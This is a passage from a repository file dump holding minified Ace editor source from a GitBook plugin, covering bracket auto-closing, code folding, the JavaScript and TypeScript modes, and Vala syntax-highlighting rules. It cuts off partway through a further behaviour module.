p.popAutoInsertedClosing(),{text:\"\",selection:[1,1]}}}}),this.add(\"brackets\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&s==\"[\"){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.start.column+1,i.start.column+2);if(u==\"]\")return i.end.column++,i}}),this.add(\"string_dquotes\",\"insertion\",function(e,t,n,r,i){if(i=='\"'||i==\"'\"){c(n);var s=i,o=n.getSelectionRange(),u=r.doc.getTextRange(o);if(u!==\"\"&&u!==\"'\"&&u!='\"'&&n.getWrapBehavioursEnabled())return h(o,u,s,s);if(!u){var a=n.getCursorPosition(),f=r.doc.getLine(a.row),l=f.substring(a.column-1,a.column),p=f.substring(a.column,a.column+1),d=r.getTokenAt(a.row,a.column),v=r.getTokenAt(a.row,a.column+1);if(l==\"\\\\\"&&d&&/escape/.test(d.type))return null;var m=d&&/string|escape/.test(d.type),g=!v||/string|escape/.test(v.type),y;if(p==s)y=m!==g;else{if(m&&!g)return null;if(m&&g)return null;var b=r.$mode.tokenRe;b.lastIndex=0;var w=b.test(l);b.lastIndex=0;var E=b.test(l);if(w||E)return null;if(p&&!/[\\s;,.})\\]\\\\]/.test(p))return null;y=!0}return{text:y?s+s:\"\",selection:[1,1]}}}}),this.add(\"string_dquotes\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&(s=='\"'||s==\"'\")){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.start.column+1,i.start.column+2);if(u==s)return i.end.column++,i}})};p.isSaneInsertion=function(e,t){var n=e.getCursorPosition(),r=new s(t,n.row,n.column);if(!this.$matchTokenType(r.getCurrentToken()||\"text\",u)){var i=new s(t,n.row,n.column+1);if(!this.$matchTokenType(i.getCurrentToken()||\"text\",u))return!1}return r.stepForward(),r.getCurrentTokenRow()!==n.row||this.$matchTokenType(r.getCurrentToken()||\"text\",a)},p.$matchTokenType=function(e,t){return t.indexOf(e.type||e)>-1},p.recordAutoInsert=function(e,t,n){var r=e.getCursorPosition(),i=t.doc.getLine(r.row);this.isAutoInsertedClosing(r,i,f.autoInsertedLineEnd[0])||(f.autoInsertedBrackets=0),f.autoInsertedRow=r.row,f.autoInsertedLineEnd=n+i.substr(r.column),f.autoInsertedBrackets++},p.recordMaybeInsert=function(e,t,n){var r=e.getCursorPosition(),i=t.doc.getLine(r.row);this.isMaybeInsertedClosing(r,i)||(f.maybeInsertedBrackets=0),f.maybeInsertedRow=r.row,f.maybeInsertedLineStart=i.substr(0,r.column)+n,f.maybeInsertedLineEnd=i.substr(r.column),f.maybeInsertedBrackets++},p.isAutoInsertedClosing=function(e,t,n){return f.autoInsertedBrackets>0&&e.row===f.autoInsertedRow&&n===f.autoInsertedLineEnd[0]&&t.substr(e.column)===f.autoInsertedLineEnd},p.isMaybeInsertedClosing=function(e,t){return f.maybeInsertedBrackets>0&&e.row===f.maybeInsertedRow&&t.substr(e.column)===f.maybeInsertedLineEnd&&t.substr(0,e.column)==f.maybeInsertedLineStart},p.popAutoInsertedClosing=function(){f.autoInsertedLineEnd=f.autoInsertedLineEnd.substr(1),f.autoInsertedBrackets--},p.clearMaybeInsertedClosing=function(){f&&(f.maybeInsertedBrackets=0,f.maybeInsertedRow=-1)},r.inherits(p,i),t.CstyleBehaviour=p}),define(\"ace/mode/folding/cstyle\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/range\",\"ace/mode/folding/fold_mode\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"../../range\").Range,s=e(\"./fold_mode\").FoldMode,o=t.FoldMode=function(e){e&&(this.foldingStartMarker=new RegExp(this.foldingStartMarker.source.replace(/\\|[^|]*?$/,\"|\"+e.start)),this.foldingStopMarker=new RegExp(this.foldingStopMarker.source.replace(/\\|[^|]*?$/,\"|\"+e.end)))};r.inherits(o,s),function(){this.foldingStartMarker=/(\\{|\\[)[^\\}\\]]*$|^\\s*(\\/\\*)/,this.foldingStopMarker=/^[^\\[\\{]*(\\}|\\])|^[\\s\\*]*(\\*\\/)/,this.singleLineBlockCommentRe=/^\\s*(\\/\\*).*\\*\\/\\s*$/,this.tripleStarBlockCommentRe=/^\\s*(\\/\\*\\*\\*).*\\*\\/\\s*$/,this.startRegionRe=/^\\s*(\\/\\*|\\/\\/)#?region\\b/,this._getFoldWidgetBase=this.getFoldWidget,this.getFoldWidget=function(e,t,n){var r=e.getLine(n);if(this.singleLineBlockCommentRe.test(r)&&!this.startRegionRe.test(r)&&!this.tripleStarBlockCommentRe.test(r))return\"\";var i=this._getFoldWidgetBase(e,t,n);return!i&&this.startRegionRe.test(r)?\"start\":i},this.getFoldWidgetRange=function(e,t,n,r){var i=e.getLine(n);if(this.startRegionRe.test(i))return this.getCommentRegionBlock(e,i,n);var s=i.match(this.foldingStartMarker);if(s){var o=s.index;if(s[1])return this.openingBracketBlock(e,s[1],n,o);var u=e.getCommentFoldRange(n,o+s[0].length,1);return u&&!u.isMultiLine()&&(r?u=this.getSectionRange(e,n):t!=\"all\"&&(u=null)),u}if(t===\"markbegin\")return;var s=i.match(this.foldingStopMarker);if(s){var o=s.index+s[0].length;return s[1]?this.closingBracketBlock(e,s[1],n,o):e.getCommentFoldRange(n,o,-1)}},this.getSectionRange=function(e,t){var n=e.getLine(t),r=n.search(/\\S/),s=t,o=n.length;t+=1;var u=t,a=e.getLength();while(++t<a){n=e.getLine(t);var f=n.search(/\\S/);if(f===-1)continue;if(r>f)break;var l=this.getFoldWidgetRange(e,\"all\",t);if(l){if(l.start.row<=s)break;if(l.isMultiLine())t=l.end.row;else if(r==f)break}u=t}return new i(s,o,u,e.getLine(u).length)},this.getCommentRegionBlock=function(e,t,n){var r=t.search(/\\s*$/),s=e.getLength(),o=n,u=/^\\s*(?:\\/\\*|\\/\\/|--)#?(end)?region\\b/,a=1;while(++n<s){t=e.getLine(n);var f=u.exec(t);if(!f)continue;f[1]?a--:a++;if(!a)break}var l=n;if(l>o)return new i(o,r,l,t.length)}}.call(o.prototype)}),define(\"ace/mode/javascript\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text\",\"ace/mode/javascript_highlight_rules\",\"ace/mode/matching_brace_outdent\",\"ace/range\",\"ace/worker/worker_client\",\"ace/mode/behaviour/cstyle\",\"ace/mode/folding/cstyle\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text\").Mode,s=e(\"./javascript_highlight_rules\").JavaScriptHighlightRules,o=e(\"./matching_brace_outdent\").MatchingBraceOutdent,u=e(\"../range\").Range,a=e(\"../worker/worker_client\").WorkerClient,f=e(\"./behaviour/cstyle\").CstyleBehaviour,l=e(\"./folding/cstyle\").FoldMode,c=function(){this.HighlightRules=s,this.$outdent=new o,this.$behaviour=new f,this.foldingRules=new l};r.inherits(c,i),function(){this.lineCommentStart=\"//\",this.blockComment={start:\"/*\",end:\"*/\"},this.getNextLineIndent=function(e,t,n){var r=this.$getIndent(t),i=this.getTokenizer().getLineTokens(t,e),s=i.tokens,o=i.state;if(s.length&&s[s.length-1].type==\"comment\")return r;if(e==\"start\"||e==\"no_regex\"){var u=t.match(/^.*(?:\\bcase\\b.*\\:|[\\{\\(\\[])\\s*$/);u&&(r+=n)}else if(e==\"doc-start\"){if(o==\"start\"||o==\"no_regex\")return\"\";var u=t.match(/^\\s*(\\/?)\\*/);u&&(u[1]&&(r+=\" \"),r+=\"* \")}return r},this.checkOutdent=function(e,t,n){return this.$outdent.checkOutdent(t,n)},this.autoOutdent=function(e,t,n){this.$outdent.autoOutdent(t,n)},this.createWorker=function(e){var t=new a([\"ace\"],\"ace/mode/javascript_worker\",\"JavaScriptWorker\");return t.attachToDocument(e.getDocument()),t.on(\"annotate\",function(t){e.setAnnotations(t.data)}),t.on(\"terminate\",function(){e.clearAnnotations()}),t},this.$id=\"ace/mode/javascript\"}.call(c.prototype),t.Mode=c}),define(\"ace/mode/typescript_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/javascript_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./javascript_highlight_rules\").JavaScriptHighlightRules,s=function(e){var t=[{token:[\"keyword.operator.ts\",\"text\",\"variable.parameter.function.ts\",\"text\"],regex:\"\\\\b(module)(\\\\s*)([a-zA-Z0-9_?.$][\\\\w?.$]*)(\\\\s*\\\\{)\"},{token:[\"storage.type.variable.ts\",\"text\",\"keyword.other.ts\",\"text\"],regex:\"(super)(\\\\s*\\\\()([a-zA-Z0-9,_?.$\\\\s]+\\\\s*)(\\\\))\"},{token:[\"entity.name.function.ts\",\"paren.lparen\",\"paren.rparen\"],regex:\"([a-zA-Z_?.$][\\\\w?.$]*)(\\\\()(\\\\))\"},{token:[\"variable.parameter.function.ts\",\"text\",\"variable.parameter.function.ts\"],regex:\"([a-zA-Z0-9_?.$][\\\\w?.$]*)(\\\\s*:\\\\s*)([a-zA-Z0-9_?.$][\\\\w?.$]*)\"},{token:[\"keyword.operator.ts\"],regex:\"(?:\\\\b(constructor|declare|interface|as|AS|public|private|class|extends|export|super)\\\\b)\"},{token:[\"storage.type.variable.ts\"],regex:\"(?:\\\\b(this\\\\.|string\\\\b|bool\\\\b|number)\\\\b)\"},{token:[\"keyword.operator.ts\",\"storage.type.variable.ts\",\"keyword.operator.ts\",\"storage.type.variable.ts\"],regex:\"(class)(\\\\s+[a-zA-Z0-9_?.$][\\\\w?.$]*\\\\s+)(extends)(\\\\s+[a-zA-Z0-9_?.$][\\\\w?.$]*\\\\s+)?\"},{token:\"keyword\",regex:\"(?:super|export|class|extends|import)\\\\b\"}],n=(new i({jsx:e&&e.jsx})).getRules();n.start=t.concat(n.start),this.$rules=n};r.inherits(s,i),t.TypeScriptHighlightRules=s}),define(\"ace/mode/typescript\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/javascript\",\"ace/mode/typescript_highlight_rules\",\"ace/mode/behaviour/cstyle\",\"ace/mode/folding/cstyle\",\"ace/mode/matching_brace_outdent\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./javascript\").Mode,s=e(\"./typescript_highlight_rules\").TypeScriptHighlightRules,o=e(\"./behaviour/cstyle\").CstyleBehaviour,u=e(\"./folding/cstyle\").FoldMode,a=e(\"./matching_brace_outdent\").MatchingBraceOutdent,f=function(){this.HighlightRules=s,this.$outdent=new a,this.$behaviour=new o,this.foldingRules=new u};r.inherits(f,i),function(){this.createWorker=function(e){return null},this.$id=\"ace/mode/typescript\"}.call(f.prototype),t.Mode=f})"
  },
  {
    "path": "docs/gitbook/gitbook-plugin-ace/ace/mode-vala.js",
    "content": "define(\"ace/mode/vala_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text_highlight_rules\").TextHighlightRules,s=function(){this.$rules={start:[{token:[\"meta.using.vala\",\"keyword.other.using.vala\",\"meta.using.vala\",\"storage.modifier.using.vala\",\"meta.using.vala\",\"punctuation.terminator.vala\"],regex:\"^(\\\\s*)(using)\\\\b(?:(\\\\s*)([^ ;$]+)(\\\\s*)((?:;)?))?\"},{include:\"#code\"}],\"#all-types\":[{include:\"#primitive-arrays\"},{include:\"#primitive-types\"},{include:\"#object-types\"}],\"#annotations\":[{token:[\"storage.type.annotation.vala\",\"punctuation.definition.annotation-arguments.begin.vala\"],regex:\"(@[^ (]+)(\\\\()\",push:[{token:\"punctuation.definition.annotation-arguments.end.vala\",regex:\"\\\\)\",next:\"pop\"},{token:[\"constant.other.key.vala\",\"text\",\"keyword.operator.assignment.vala\"],regex:\"(\\\\w*)(\\\\s*)(=)\"},{include:\"#code\"},{token:\"punctuation.seperator.property.vala\",regex:\",\"},{defaultToken:\"meta.declaration.annotation.vala\"}]},{token:\"storage.type.annotation.vala\",regex:\"@\\\\w*\"}],\"#anonymous-classes-and-new\":[{token:\"keyword.control.new.vala\",regex:\"\\\\bnew\\\\b\",push_disabled:[{token:\"text\",regex:\"(?<=\\\\)|\\\\])(?!\\\\s*{)|(?<=})|(?=;)\",TODO:\"FIXME: regexp doesn't have js equivalent\",originalRegex:\"(?<=\\\\)|\\\\])(?!\\\\s*{)|(?<=})|(?=;)\",next:\"pop\"},{token:[\"storage.type.vala\",\"text\"],regex:\"(\\\\w+)(\\\\s*)(?=\\\\[)\",push:[{token:\"text\",regex:\"}|(?=;|\\\\))\",next:\"pop\"},{token:\"text\",regex:\"\\\\[\",push:[{token:\"text\",regex:\"\\\\]\",next:\"pop\"},{include:\"#code\"}]},{token:\"text\",regex:\"{\",push:[{token:\"text\",regex:\"(?=})\",next:\"pop\"},{include:\"#code\"}]}]},{token:\"text\",regex:\"(?=\\\\w.*\\\\()\",push:[{token:\"text\",regex:\"(?<=\\\\))\",TODO:\"FIXME: regexp doesn't have js equivalent\",originalRegex:\"(?<=\\\\))\",next:\"pop\"},{include:\"#object-types\"},{token:\"text\",regex:\"\\\\(\",push:[{token:\"text\",regex:\"\\\\)\",next:\"pop\"},{include:\"#code\"}]}]},{token:\"meta.inner-class.vala\",regex:\"{\",push:[{token:\"meta.inner-class.vala\",regex:\"}\",next:\"pop\"},{include:\"#class-body\"},{defaultToken:\"meta.inner-class.vala\"}]}]}],\"#assertions\":[{token:[\"keyword.control.assert.vala\",\"meta.declaration.assertion.vala\"],regex:\"\\\\b(assert|requires|ensures)(\\\\s)\",push:[{token:\"meta.declaration.assertion.vala\",regex:\"$\",next:\"pop\"},{token:\"keyword.operator.assert.expression-seperator.vala\",regex:\":\"},{include:\"#code\"},{defaultToken:\"meta.declaration.assertion.vala\"}]}],\"#class\":[{token:\"meta.class.vala\",regex:\"(?=\\\\w?[\\\\w\\\\s]*(?:class|(?:@)?interface|enum|struct|namespace)\\\\s+\\\\w+)\",push:[{token:\"paren.vala\",regex:\"}\",next:\"pop\"},{include:\"#storage-modifiers\"},{include:\"#comments\"},{token:[\"storage.modifier.vala\",\"meta.class.identifier.vala\",\"entity.name.type.class.vala\"],regex:\"(class|(?:@)?interface|enum|struct|namespace)(\\\\s+)([\\\\w\\\\.]+)\"},{token:\"storage.modifier.extends.vala\",regex:\":\",push:[{token:\"meta.definition.class.inherited.classes.vala\",regex:\"(?={|,)\",next:\"pop\"},{include:\"#object-types-inherited\"},{include:\"#comments\"},{defaultToken:\"meta.definition.class.inherited.classes.vala\"}]},{token:[\"storage.modifier.implements.vala\",\"meta.definition.class.implemented.interfaces.vala\"],regex:\"(,)(\\\\s)\",push:[{token:\"meta.definition.class.implemented.interfaces.vala\",regex:\"(?=\\\\{)\",next:\"pop\"},{include:\"#object-types-inherited\"},{include:\"#comments\"},{defaultToken:\"meta.definition.class.implemented.interfaces.vala\"}]},{token:\"paren.vala\",regex:\"{\",push:[{token:\"paren.vala\",regex:\"(?=})\",next:\"pop\"},{include:\"#class-body\"},{defaultToken:\"meta.class.body.vala\"}]},{defaultToken:\"meta.class.vala\"}],comment:\"attempting to put namespace in here.\"}],\"#class-body\":[{include:\"#comments\"},{include:\"#class\"},{include:\"#enums\"},{include:\"#methods\"},{include:\"#annotations\"},{include:\"#storage-modifiers\"},{include:\"#code\"}],\"#code\":[{include:\"#comments\"},{include:\"#class\"},{token:\"text\",regex:\"{\",push:[{token:\"text\",regex:\"}\",next:\"pop\"},{include:\"#code\"}]},{include:\"#assertions\"},{include:\"#parens\"},{include:\"#constants-and-special-vars\"},{include:\"#anonymous-classes-and-new\"},{include:\"#keywords\"},{include:\"#storage-modifiers\"},{include:\"#strings\"},{include:\"#all-types\"}],\"#comments\":[{token:\"punctuation.definition.comment.vala\",regex:\"/\\\\*\\\\*/\"},{include:\"text.html.javadoc\"},{include:\"#comments-inline\"}],\"#comments-inline\":[{token:\"punctuation.definition.comment.vala\",regex:\"/\\\\*\",push:[{token:\"punctuation.definition.comment.vala\",regex:\"\\\\*/\",next:\"pop\"},{defaultToken:\"comment.block.vala\"}]},{token:[\"text\",\"punctuation.definition.comment.vala\",\"comment.line.double-slash.vala\"],regex:\"(\\\\s*)(//)(.*$)\"}],\"#constants-and-special-vars\":[{token:\"constant.language.vala\",regex:\"\\\\b(?:true|false|null)\\\\b\"},{token:\"variable.language.vala\",regex:\"\\\\b(?:this|base)\\\\b\"},{token:\"constant.numeric.vala\",regex:\"\\\\b(?:0(?:x|X)[0-9a-fA-F]*|(?:[0-9]+\\\\.?[0-9]*|\\\\.[0-9]+)(?:(?:e|E)(?:\\\\+|-)?[0-9]+)?)(?:[LlFfUuDd]|UL|ul)?\\\\b\"},{token:[\"keyword.operator.dereference.vala\",\"constant.other.vala\"],regex:\"((?:\\\\.)?)\\\\b([A-Z][A-Z0-9_]+)(?!<|\\\\.class|\\\\s*\\\\w+\\\\s*=)\\\\b\"}],\"#enums\":[{token:\"text\",regex:\"^(?=\\\\s*[A-Z0-9_]+\\\\s*(?:{|\\\\(|,))\",push:[{token:\"text\",regex:\"(?=;|})\",next:\"pop\"},{token:\"constant.other.enum.vala\",regex:\"\\\\w+\",push:[{token:\"meta.enum.vala\",regex:\"(?=,|;|})\",next:\"pop\"},{include:\"#parens\"},{token:\"text\",regex:\"{\",push:[{token:\"text\",regex:\"}\",next:\"pop\"},{include:\"#class-body\"}]},{defaultToken:\"meta.enum.vala\"}]}]}],\"#keywords\":[{token:\"keyword.control.catch-exception.vala\",regex:\"\\\\b(?:try|catch|finally|throw)\\\\b\"},{token:\"keyword.control.vala\",regex:\"\\\\?|:|\\\\?\\\\?\"},{token:\"keyword.control.vala\",regex:\"\\\\b(?:return|break|case|continue|default|do|while|for|foreach|switch|if|else|in|yield|get|set|value)\\\\b\"},{token:\"keyword.operator.vala\",regex:\"\\\\b(?:typeof|is|as)\\\\b\"},{token:\"keyword.operator.comparison.vala\",regex:\"==|!=|<=|>=|<>|<|>\"},{token:\"keyword.operator.assignment.vala\",regex:\"=\"},{token:\"keyword.operator.increment-decrement.vala\",regex:\"\\\\-\\\\-|\\\\+\\\\+\"},{token:\"keyword.operator.arithmetic.vala\",regex:\"\\\\-|\\\\+|\\\\*|\\\\/|%\"},{token:\"keyword.operator.logical.vala\",regex:\"!|&&|\\\\|\\\\|\"},{token:\"keyword.operator.dereference.vala\",regex:\"\\\\.(?=\\\\S)\",originalRegex:\"(?<=\\\\S)\\\\.(?=\\\\S)\"},{token:\"punctuation.terminator.vala\",regex:\";\"},{token:\"keyword.operator.ownership\",regex:\"owned|unowned\"}],\"#methods\":[{token:\"meta.method.vala\",regex:\"(?!new)(?=\\\\w.*\\\\s+)(?=[^=]+\\\\()\",push:[{token:\"paren.vala\",regex:\"}|(?=;)\",next:\"pop\"},{include:\"#storage-modifiers\"},{token:[\"entity.name.function.vala\",\"meta.method.identifier.vala\"],regex:\"([\\\\~\\\\w\\\\.]+)(\\\\s*\\\\()\",push:[{token:\"meta.method.identifier.vala\",regex:\"\\\\)\",next:\"pop\"},{include:\"#parameters\"},{defaultToken:\"meta.method.identifier.vala\"}]},{token:\"meta.method.return-type.vala\",regex:\"(?=\\\\w.*\\\\s+\\\\w+\\\\s*\\\\()\",push:[{token:\"meta.method.return-type.vala\",regex:\"(?=\\\\w+\\\\s*\\\\()\",next:\"pop\"},{include:\"#all-types\"},{defaultToken:\"meta.method.return-type.vala\"}]},{include:\"#throws\"},{token:\"paren.vala\",regex:\"{\",push:[{token:\"paren.vala\",regex:\"(?=})\",next:\"pop\"},{include:\"#code\"},{defaultToken:\"meta.method.body.vala\"}]},{defaultToken:\"meta.method.vala\"}]}],\"#namespace\":[{token:\"text\",regex:\"^(?=\\\\s*[A-Z0-9_]+\\\\s*(?:{|\\\\(|,))\",push:[{token:\"text\",regex:\"(?=;|})\",next:\"pop\"},{token:\"constant.other.namespace.vala\",regex:\"\\\\w+\",push:[{token:\"meta.namespace.vala\",regex:\"(?=,|;|})\",next:\"pop\"},{include:\"#parens\"},{token:\"text\",regex:\"{\",push:[{token:\"text\",regex:\"}\",next:\"pop\"},{include:\"#code\"}]},{defaultToken:\"meta.namespace.vala\"}]}],comment:\"This is not quite right. See the class grammar right now\"}],\"#object-types\":[{token:\"storage.type.generic.vala\",regex:\"\\\\b(?:[a-z]\\\\w*\\\\.)*[A-Z]+\\\\w*<\",push:[{token:\"storage.type.generic.vala\",regex:\">|[^\\\\w\\\\s,\\\\?<\\\\[()\\\\]]\",TODO:\"FIXME: regexp doesn't have js equivalent\",originalRegex:\">|[^\\\\w\\\\s,\\\\?<\\\\[(?:[,]+)\\\\]]\",next:\"pop\"},{include:\"#object-types\"},{token:\"storage.type.generic.vala\",regex:\"<\",push:[{token:\"storage.type.generic.vala\",regex:\">|[^\\\\w\\\\s,\\\\[\\\\]<]\",next:\"pop\"},{defaultToken:\"storage.type.generic.vala\"}],comment:\"This is just to support <>'s with no actual type prefix\"},{defaultToken:\"storage.type.generic.vala\"}]},{token:\"storage.type.object.array.vala\",regex:\"\\\\b(?:[a-z]\\\\w*\\\\.)*[A-Z]+\\\\w*(?=\\\\[)\",push:[{token:\"storage.type.object.array.vala\",regex:\"(?=[^\\\\]\\\\s])\",next:\"pop\"},{token:\"text\",regex:\"\\\\[\",push:[{token:\"text\",regex:\"\\\\]\",next:\"pop\"},{include:\"#code\"}]},{defaultToken:\"storage.type.object.array.vala\"}]},{token:[\"storage.type.vala\",\"keyword.operator.dereference.vala\",\"storage.type.vala\"],regex:\"\\\\b(?:([a-z]\\\\w*)(\\\\.))*([A-Z]+\\\\w*\\\\b)\"}],\"#object-types-inherited\":[{token:\"entity.other.inherited-class.vala\",regex:\"\\\\b(?:[a-z]\\\\w*\\\\.)*[A-Z]+\\\\w*<\",push:[{token:\"entity.other.inherited-class.vala\",regex:\">|[^\\\\w\\\\s,<]\",next:\"pop\"},{include:\"#object-types\"},{token:\"storage.type.generic.vala\",regex:\"<\",push:[{token:\"storage.type.generic.vala\",regex:\">|[^\\\\w\\\\s,<]\",next:\"pop\"},{defaultToken:\"storage.type.generic.vala\"}],comment:\"This is just to support <>'s with no actual type prefix\"},{defaultToken:\"entity.other.inherited-class.vala\"}]},{token:[\"entity.other.inherited-class.vala\",\"keyword.operator.dereference.vala\",\"entity.other.inherited-class.vala\"],regex:\"\\\\b(?:([a-z]\\\\w*)(\\\\.))*([A-Z]+\\\\w*)\"}],\"#parameters\":[{token:\"storage.modifier.vala\",regex:\"final\"},{include:\"#primitive-arrays\"},{include:\"#primitive-types\"},{include:\"#object-types\"},{token:\"variable.parameter.vala\",regex:\"\\\\w+\"}],\"#parens\":[{token:\"text\",regex:\"\\\\(\",push:[{token:\"text\",regex:\"\\\\)\",next:\"pop\"},{include:\"#code\"}]}],\"#primitive-arrays\":[{token:\"storage.type.primitive.array.vala\",regex:\"\\\\b(?:bool|byte|sbyte|char|decimal|double|float|int|uint|long|ulong|object|short|ushort|string|void|int8|int16|int32|int64|uint8|uint16|uint32|uint64)(?:\\\\[\\\\])*\\\\b\"}],\"#primitive-types\":[{token:\"storage.type.primitive.vala\",regex:\"\\\\b(?:var|bool|byte|sbyte|char|decimal|double|float|int|uint|long|ulong|object|short|ushort|string|void|signal|int8|int16|int32|int64|uint8|uint16|uint32|uint64)\\\\b\",comment:\"var is not really a primitive, but acts like one in most cases\"}],\"#storage-modifiers\":[{token:\"storage.modifier.vala\",regex:\"\\\\b(?:public|private|protected|internal|static|final|sealed|virtual|override|abstract|readonly|volatile|dynamic|async|unsafe|out|ref|weak|owned|unowned|const)\\\\b\",comment:\"Not sure about unsafe and readonly\"}],\"#strings\":[{token:\"punctuation.definition.string.begin.vala\",regex:'@\"',push:[{token:\"punctuation.definition.string.end.vala\",regex:'\"',next:\"pop\"},{token:\"constant.character.escape.vala\",regex:\"\\\\\\\\.|%[\\\\w\\\\.\\\\-]+|\\\\$(?:\\\\w+|\\\\([\\\\w\\\\s\\\\+\\\\-\\\\*\\\\/]+\\\\))\"},{defaultToken:\"string.quoted.interpolated.vala\"}]},{token:\"punctuation.definition.string.begin.vala\",regex:'\"',push:[{token:\"punctuation.definition.string.end.vala\",regex:'\"',next:\"pop\"},{token:\"constant.character.escape.vala\",regex:\"\\\\\\\\.\"},{token:\"constant.character.escape.vala\",regex:\"%[\\\\w\\\\.\\\\-]+\"},{defaultToken:\"string.quoted.double.vala\"}]},{token:\"punctuation.definition.string.begin.vala\",regex:\"'\",push:[{token:\"punctuation.definition.string.end.vala\",regex:\"'\",next:\"pop\"},{token:\"constant.character.escape.vala\",regex:\"\\\\\\\\.\"},{defaultToken:\"string.quoted.single.vala\"}]},{token:\"punctuation.definition.string.begin.vala\",regex:'\"\"\"',push:[{token:\"punctuation.definition.string.end.vala\",regex:'\"\"\"',next:\"pop\"},{token:\"constant.character.escape.vala\",regex:\"%[\\\\w\\\\.\\\\-]+\"},{defaultToken:\"string.quoted.triple.vala\"}]}],\"#throws\":[{token:\"storage.modifier.vala\",regex:\"throws\",push:[{token:\"meta.throwables.vala\",regex:\"(?={|;)\",next:\"pop\"},{include:\"#object-types\"},{defaultToken:\"meta.throwables.vala\"}]}],\"#values\":[{include:\"#strings\"},{include:\"#object-types\"},{include:\"#constants-and-special-vars\"}]},this.normalizeRules()};s.metaData={comment:\"Based heavily on the Java bundle's language syntax. TODO:\\n* Closures\\n* Delegates\\n* Properties: Better support for properties.\\n* Annotations\\n* Error domains\\n* Named arguments\\n* Array slicing, negative indexes, multidimensional\\n* construct blocks\\n* lock blocks?\\n* regex literals\\n* DocBlock syntax highlighting. (Currently importing javadoc)\\n* Folding rule for comments.\\n\",fileTypes:[\"vala\"],foldingStartMarker:\"(\\\\{\\\\s*(//.*)?$|^\\\\s*// \\\\{\\\\{\\\\{)\",foldingStopMarker:\"^\\\\s*(\\\\}|// \\\\}\\\\}\\\\}$)\",name:\"Vala\",scopeName:\"source.vala\"},r.inherits(s,i),t.ValaHighlightRules=s}),define(\"ace/mode/folding/cstyle\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/range\",\"ace/mode/folding/fold_mode\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"../../range\").Range,s=e(\"./fold_mode\").FoldMode,o=t.FoldMode=function(e){e&&(this.foldingStartMarker=new RegExp(this.foldingStartMarker.source.replace(/\\|[^|]*?$/,\"|\"+e.start)),this.foldingStopMarker=new RegExp(this.foldingStopMarker.source.replace(/\\|[^|]*?$/,\"|\"+e.end)))};r.inherits(o,s),function(){this.foldingStartMarker=/(\\{|\\[)[^\\}\\]]*$|^\\s*(\\/\\*)/,this.foldingStopMarker=/^[^\\[\\{]*(\\}|\\])|^[\\s\\*]*(\\*\\/)/,this.singleLineBlockCommentRe=/^\\s*(\\/\\*).*\\*\\/\\s*$/,this.tripleStarBlockCommentRe=/^\\s*(\\/\\*\\*\\*).*\\*\\/\\s*$/,this.startRegionRe=/^\\s*(\\/\\*|\\/\\/)#?region\\b/,this._getFoldWidgetBase=this.getFoldWidget,this.getFoldWidget=function(e,t,n){var r=e.getLine(n);if(this.singleLineBlockCommentRe.test(r)&&!this.startRegionRe.test(r)&&!this.tripleStarBlockCommentRe.test(r))return\"\";var i=this._getFoldWidgetBase(e,t,n);return!i&&this.startRegionRe.test(r)?\"start\":i},this.getFoldWidgetRange=function(e,t,n,r){var i=e.getLine(n);if(this.startRegionRe.test(i))return this.getCommentRegionBlock(e,i,n);var s=i.match(this.foldingStartMarker);if(s){var o=s.index;if(s[1])return this.openingBracketBlock(e,s[1],n,o);var u=e.getCommentFoldRange(n,o+s[0].length,1);return u&&!u.isMultiLine()&&(r?u=this.getSectionRange(e,n):t!=\"all\"&&(u=null)),u}if(t===\"markbegin\")return;var s=i.match(this.foldingStopMarker);if(s){var o=s.index+s[0].length;return s[1]?this.closingBracketBlock(e,s[1],n,o):e.getCommentFoldRange(n,o,-1)}},this.getSectionRange=function(e,t){var n=e.getLine(t),r=n.search(/\\S/),s=t,o=n.length;t+=1;var u=t,a=e.getLength();while(++t<a){n=e.getLine(t);var f=n.search(/\\S/);if(f===-1)continue;if(r>f)break;var l=this.getFoldWidgetRange(e,\"all\",t);if(l){if(l.start.row<=s)break;if(l.isMultiLine())t=l.end.row;else if(r==f)break}u=t}return new i(s,o,u,e.getLine(u).length)},this.getCommentRegionBlock=function(e,t,n){var r=t.search(/\\s*$/),s=e.getLength(),o=n,u=/^\\s*(?:\\/\\*|\\/\\/|--)#?(end)?region\\b/,a=1;while(++n<s){t=e.getLine(n);var f=u.exec(t);if(!f)continue;f[1]?a--:a++;if(!a)break}var l=n;if(l>o)return new i(o,r,l,t.length)}}.call(o.prototype)}),define(\"ace/mode/behaviour/cstyle\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/behaviour\",\"ace/token_iterator\",\"ace/lib/lang\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"../behaviour\").Behaviour,s=e(\"../../token_iterator\").TokenIterator,o=e(\"../../lib/lang\"),u=[\"text\",\"paren.rparen\",\"punctuation.operator\"],a=[\"text\",\"paren.rparen\",\"punctuation.operator\",\"comment\"],f,l={},c=function(e){var t=-1;e.multiSelect&&(t=e.selection.index,l.rangeCount!=e.multiSelect.rangeCount&&(l={rangeCount:e.multiSelect.rangeCount}));if(l[t])return f=l[t];f=l[t]={autoInsertedBrackets:0,autoInsertedRow:-1,autoInsertedLineEnd:\"\",maybeInsertedBrackets:0,maybeInsertedRow:-1,maybeInsertedLineStart:\"\",maybeInsertedLineEnd:\"\"}},h=function(e,t,n,r){var 